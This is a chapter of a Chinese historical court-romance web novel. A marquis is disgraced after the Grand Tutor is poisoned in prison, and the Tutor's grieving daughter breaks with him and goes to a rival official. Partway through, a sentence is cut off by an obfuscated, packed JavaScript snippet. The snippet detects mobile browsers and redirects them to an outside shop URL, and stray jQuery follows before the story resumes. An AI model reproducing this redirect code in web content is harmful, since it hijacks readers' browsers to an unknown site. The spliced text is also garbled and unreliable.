等到傅执年踏入诏狱牢房的时候,沈和义的身体早已凉透。
他蜷缩在牢房冰冷的地面上,苍老的脸庞上是平静祥和的面容,唯有嘴角溢出一丝紫色的血渍。
“怎么回事?”傅执年声音压得很低,却带着震怒。
燕轻回上前小心禀报:“启禀侯爷,沈太傅是被胸口这弩箭所伤,仵作已经验过,致命伤正是此处。”
傅执年眸色一沉,伸手欲抽出那嵌在胸口处的短弩,燕轻回连忙上前拦住,“侯爷不可,这......这箭上有毒。”
傅执年缓缓收回手,眼中满是怒气,“凶手是谁!竟敢在诏狱动手!”
燕轻回面露难色欲言又止,“侯爷,凶手......”他指了指对面的牢房,“凶手是符大人,只是他......已经服毒自尽。”
傅执年冷嗤一声,“好一个借刀杀人。”他缓缓起身,抬手整理了微乱的衣襟,怒气渐消,整个人恢复成往日冷静的模样,离开了诏狱。
不过傅执年人一到了金銮殿,就被刑部的许尚书参了一本。
“陛下!”许承熙出列,声音铿锵,“符明诚身处诏狱,竟毒害沈和义,事后又畏罪服毒自尽,如今死无对证,线索尽断,显然是傅执年失职渎职,监管不力!臣等恳请陛下严惩傅执年,以正朝堂纲纪!”
龙椅上的孝文帝面色沉郁,目光扫过阶下神色淡漠的傅执年,沉声问道:“修和,你有何话说?”
傅执年稳步出列,玄色朝服衬得他面容愈发冷峻,他垂眸道:“臣,无话可说。甘领责罚。”
“既如此,”孝文帝挥了挥手,“镇国侯傅执年暂停一切职务,闭门思过,待案情明晰后再作处置!”
满堂朝臣噤若寒蝉。
许尚书则趁热打铁,“符明诚一案系大理寺少卿陆晚舟率先查明,虽傅执年监管犯人失职,但案情未了,臣提议仍由陆少卿牵头详查。”
孝文帝沉思片刻,终还是颔首道:“那就依许爱卿所言,此案交予大理寺少卿陆晚舟审理,诏狱也由他接管。”
闻言,傅执年摘下腰间象征诏狱提调的金符,在众目睽睽下走到陆晚舟的面前,他眼风扫过对方崭新的绯色官袍,喉结滚动,将金符交给了陆晚舟,随后他拂袖转身,径直朝殿外走去。
一时间朝臣哗然,御史中丞更是气得胡须直发抖,厉声斥道:“这傅执年就这么走了,简直无视朝堂礼法!”
许承熙也气得嘴角发抖,再度叩请:“陛下!傅执年此人顽劣放肆,必须严惩!”
孝文帝望着傅执年消瘦了不少的背影,只是默默地看着他离开,终是不发一语。
陆晚舟垂眸盯着掌心沉甸甸的金符,指尖微蜷,重重叹了口气。
*
沈芷卿垂眸看着手里的话本,却一个字也看不进去,翻完最后一页,她重重叹了口气。
自从昨日傅执年被请去大理寺,她心里就一直莫名地一阵慌乱,坐立难安,书也看不进去,只好掩上话本,望着窗外的景色发呆。
“小姐!小姐!”桑甜跌跌撞撞冲进寝屋,大口喘着气,“追风......追风哥哥说,老爷......老爷他......”
沈芷卿心头一紧,猛地放下书卷上前扶住桑甜,不停捋着她的背安抚道:“别急,慢慢说。”
桑甜紧紧咬着下唇,半晌才开口,“老爷,老爷他被符大人......”
“到底怎么了?”沈芷卿的声音已然发颤。
桑甜这才忍痛开口,“老爷被符大人毒杀了......”
沈芷卿脸色瞬间褪尽了血色,身子猛地一晃,踉跄着扶住窗棂才勉强站稳。
“不可能......那可是诏狱......”她喃喃自语,“他答应过我的。”
此时,傅执年已立在门口。他负手而立,夕阳的余晖洒在他身上,在屋内投下斑驳而孤长的影子。
望着沈芷卿哭得微微颤抖的背影,他竟一时迈不开脚步。
桑甜听见动静,缓缓转身,见是他,语气复杂地唤了一声:“侯爷......”
沈芷卿身形一僵,抬手用力擦干脸上的泪痕,猛地转过身来。发红的眼睛却死死瞪着傅执年。
“你答应过我的,会护我父亲周全。”沈芷卿咬着唇,声音沙哑,泪水终究还是忍不住在眼眶里打转。
傅执年心口骤起一阵剧痛,缓缓走上前,高大的身影将她整个人笼住,低头看着她泛红的眼尾。
老师走了,他何尝不心痛?
傅执年抬手抹去她眼尾的泪水,却被沈芷卿侧头躲过。
他苦笑一声,抬眼望向窗外,“我昨晚被陆晚舟扣在大理寺候审,才给了歹人可乘之机,你说怪谁?”
沈芷卿猛地抬头,狠狠地盯着傅执年,“你什么意思?”
“意思就是,若不是因为陆晚舟,我怎么让你父亲出事?”傅执年冷冷说道。
沈芷卿此刻心里全是恨意,人虽然不是傅执年杀的,但是既然死在了诏狱,这笔账她自然只有算在傅执年的头上。
她冷笑一声,“侯爷居然怪在了陆大人身上,侯爷明明早就知道符明诚有问题,却迟迟无法给父亲翻案,这才让我父亲在诏狱含冤而死。”
傅执年也被这话激怒,冷笑回道:“没有账册,我如何给你父亲翻案?”
沈芷卿一怔,随即眸色更冷:“所以,你这是在怪我?”
傅执年俯身捏住她的下颌,力道不大却足以让她抬头对视,“卿卿,我何曾不想为你父亲翻案?账册为何不肯给我?”
下颌传来的痛感让沈芷卿皱紧眉头,她偏头想挣脱,却被攥得更紧,只能冷笑着反问:“我父亲,难道不是你亲手抓进诏狱的吗?”
傅执年眸子一黯,她知道了?
他喉结滚动,语气软了几分,“卿卿,我有我的不得已。”
“好一个不得已。”沈芷卿的泪水终于决堤,顺着苍白的几乎透明的脸颊汹涌滑落,“侯爷有侯爷的不得已,那我呢?”她抬着头,直视着傅执年。
“我家破人亡,没入那肮脏不堪的教坊司,受尽羞辱轻贱!父亲在天寒地冻的诏狱里被人所害,丢了性命!弟弟小小年纪便被流放苦寒之地,生死未卜!”沈芷卿边说,眼泪汩汩流下。
最后眼眶竟哭得通红,瞪着傅执年,“侯爷!跟我比起来,你不得已算什么?”
傅执年僵在原地,如遭雷击,他高大的身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17038623|189236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
躯似乎微微晃了一下。
这些年他为了陛下步步为营,太傅一案他也以为将她从教坊司救出,妥帖安置在梅苑,锦衣玉食供养着,便是护她周全。
将沈太傅安置在诏狱自己眼皮子底下,免于拷打,送其汤药也算仁至义尽。
就连沈芷卿的弟弟,他也早已用死囚调包秘密送往了太子麾下历练,给了他一条生路与前程。
而这一切,都不是沈芷卿想要的。
巨大的无力感席卷了傅执年。
或许,第一步就走错了。
如今是陆晚舟奉旨查案,也许,他能给沈芷卿一个真相。
傅执年哽了哽,看着沈芷卿的眼睛问道:“你就这么信任陆晚舟?”
沈芷卿自然不肯服软,“至少陆大人会拼尽全力为我父亲查案,他也没有那么多不得已。”
傅执年眼底最后一丝光芒彻底熄灭,他缓缓松开手,“既然你觉得他那么好,那你就去找他。”
沈芷卿抬头看他,“你当真会放我?”她深知傅执年的性子,不相信他会这般轻易地放自己走。
傅执年沉默片刻,从怀中取出沈芷卿除夕夜写的许愿笺,递到她面前,“你不就是想要这个吗?我给你。”
沈芷卿一把接过,将许愿笺紧紧攥在掌心,即便父亲已逝,她也要查清真相为父翻案。
她不再多言,转身便朝着门口快步走去。
傅执年望着她决绝的背影,眸色愈发暗沉,终是开口唤住她:“等等。”
沈芷卿停下脚步,回身时眼底满是嘲讽,“侯爷这是后悔了?”
空气仿佛凝固了许久,傅执年望着她泪痕未干的脸庞,喉间只低哑地问出一句,“卿卿,我待你,当真不好吗?”
沈芷卿望了他一眼,语气平静,“你对我的好,从来不是我想要的。”
说罢,她转身决绝地冲出房门,没有回头看一眼,桑甜跟在沈芷卿的身后,脚步踉跄,“小姐,慢一点。”
追风见状欲上前阻拦,傅执年却抬手止住了他,声音沙哑,“让她走。”
房间内死寂一片,傅执年僵立在原地,看着空荡荡的门口,仿佛被抽走了所有力气。
他缓缓坐下,肩头绷得笔直,眼底是化不开的绝望。
追风立在门口,看着侯爷这般模样,一时竟不知该如何劝慰,只是默默站在门口。
傅执年不知道自己是不是真的错了?
是不是自己的执念,反而成了她的负担?
“呵......”他低低地笑起来,笑声苦涩而绝望。
沈芷卿一路狂奔,发丝散乱,衣衫单薄,全然不顾周身的寒意,径直冲到了大理寺门口。
大理寺守门的差役立刻上前阻拦:“来者何人?”
“劳烦官爷通报一声,”沈芷卿喘着气,声音还带着哭后的沙哑,“就说沈芷卿求见陆大人。”
差役上下打量了她一番,似是觉得有些眼熟,便点头道:“你在此等候片刻。”
沈芷卿静静立在原地,寒风裹着寒意钻进衣领,让她忍不住打了个寒颤。没过多久,陆晚舟便放下手中的卷宗,快步走了出来。
两人隔着几级石阶遥遥相望。